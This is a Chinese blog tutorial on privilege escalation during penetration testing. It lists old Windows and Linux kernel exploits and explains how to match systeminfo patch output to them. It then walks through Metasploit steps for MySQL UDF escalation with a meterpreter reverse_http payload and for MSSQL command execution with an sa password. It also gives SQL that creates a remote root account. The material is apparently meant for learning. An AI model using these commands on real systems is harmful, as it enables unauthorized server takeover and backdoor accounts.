最近有小老弟问我,总有面试官问关于提权的问题,总是能把我难住。好吧,面试造航母干活 拧螺丝这句话在哪里都很实用,索性今天也就写一下我认为的提权。
首先呢,其实权限提升这种事情多用于内网渗透,这里指的内网渗透当然不是你处于内网环境的渗透测试,而是那种在攻防演练、护网、打击境外的一些特殊场景,由外网入侵到内网做后渗透的时候遇到的权限提升问题。(大佬勿喷,我实在想不到还有哪里做提权,正常安全评估是完全用不到这一项技能的,毕竟传统工艺点到为止)
什么是提权
主要针对在对网站的渗透过程中,通过利用网站或服务器系统的漏洞提升当前权限,使我们能拥有服务器的最高权限。
提权的两种方式
系统漏洞提权
MS08-025 (KB951537)
MS09-012 (KB952004)
MS10-048 (KB2160329)
Linux Kernel <= 2.6.37 Local Privilege Escalation
…
系统提权ms09-12 案例(Pr.exe(KB952004))
Windows跟踪注册表ACL权限提升漏洞
MS09-012 :Churrasco(KB956572)烤肉
Windows跟踪注册表ACL权限提升漏洞
MS08-025 (KB951537)
Windows内核级提权漏洞
Linux Kernel <= 2.6.37 Local Privilege Escalation
案例就这么多,此处以windows server提权为例,由于提权马众多,在真实场景中应该如何使用呢?
WIN+R
systeminfo命令可以得到系统信息,包括打了哪些补丁
打开在线网站,识别都有哪些提权漏洞可供使用
http://blog.neargle.com/win-powerup-exp-index/
将你得到的补丁信息复制到网站,即可获得使用提权马的详细信息
还有的小伙纸问我,这么弄太麻烦了,有没有办法将systeminfo的信息输出到文件中,然后用自动化工具进行本地识别
这里我只说一下怎么将命令输出打印至txt目录,其实很简单
systeminfo > 目录/文件名
例子:
系统提权没什么可讲的,手工大佬那另当别论,使用这种东西的缺陷也很明显,因为这种提权木马是未免杀的,对面有防火墙、杀软就呜呼哀哉了,匿了,仅供学习,大家不要作死,作死别带上我
第三方软件提权
Serv-U
VNC
SQL Server
……
第三方软件是什么意思呢,就是一些工具安装会自动创建一个管理员权限的账户,我们可以利用这种机制去进行一个权限提升
Serv-U (43958端口)
VNC提权
SQL Server SA
PcAnyWhere
不过很明显的就是,有些东西已经不太适用于当下环境了,技术更新了,所以这里以我遇到过的举例子,分别为众所周知的mysql-udf提权、mssql提权
MySql-UDF提权
原理:
使用MSF中的 exploit/multi/mysql/mysql_udf_payload 模块也可以进行UDF提权。MSF会将dll文件写入lib\plugin\目录下(前提是该目录存在,如果该目录不存在的话,则无法执行成功),dll文件名为任意创建的名字。该dll文件中包含sys_exec()和sys_eval()两个函数,但是默认只创建sys_exec()函数,该函数执行并不会有回显。我们可以手动创建 sys_eval() 函数,来执行有回显的命令。
前提条件:
1.该用户拥有远程登录的权限
2.知晓用户名以及密码
若是用户没有远程登录的权限咋办,当然是想办法登录他的数据库手工创建一个了
- 登录测试靶机创建远程访问用户
输入sql语句grant all privileges on . to ‘root’@’%’ identified by ‘123456’ with grant option; 创建可远程连接用户,如图1
grant all privileges on *.* to 'root'@'%' identified by '123456' with grant option;
2. 使用kili , msfconsloe , 输入search mysql_udf_payload 如下图2
3. use exploit/multi/mysql/mysql_udf_payload ,使用,如下图3
4. show payload ,查看可用payloads,如图4
5. 设置payload , set payload windows/meterpreter/reverse_http ,如图5
6. 设置数据库用户名,密码,ip地址以及监听端口 set rhosts ; set username ; set password ; set lport,如图6
7. exploit
小实验验证
使用navicat图形化工具,登录账户执行命令
select sys_exec(‘whoami’); / /执行系统命令,msf默认创建sys_exec无回显,返回0为成功
create function sys_eval returns string soname ‘wsODEVzX.dll’; //手动创建有回显的函数,后面的.dll文件为随机生成,直接在Kili中可见
select sys_eval(‘whoami’); 执行一次,如图9
Mssql提权
已知sa(默认)用户,密码为rising00.00!123 ,进行mssql提权
使用msfconsole,输入以下命令
search mssql
use uxiliary/admin/mssql/mssql_exec
set rhosts 10.10.59.247
set password rising00.00!123
set cmd whoami
Show options
exploit
给我施展提权的场景不多,一般情况下都是系统提权,数据库第三方组件提权其实条件很苛刻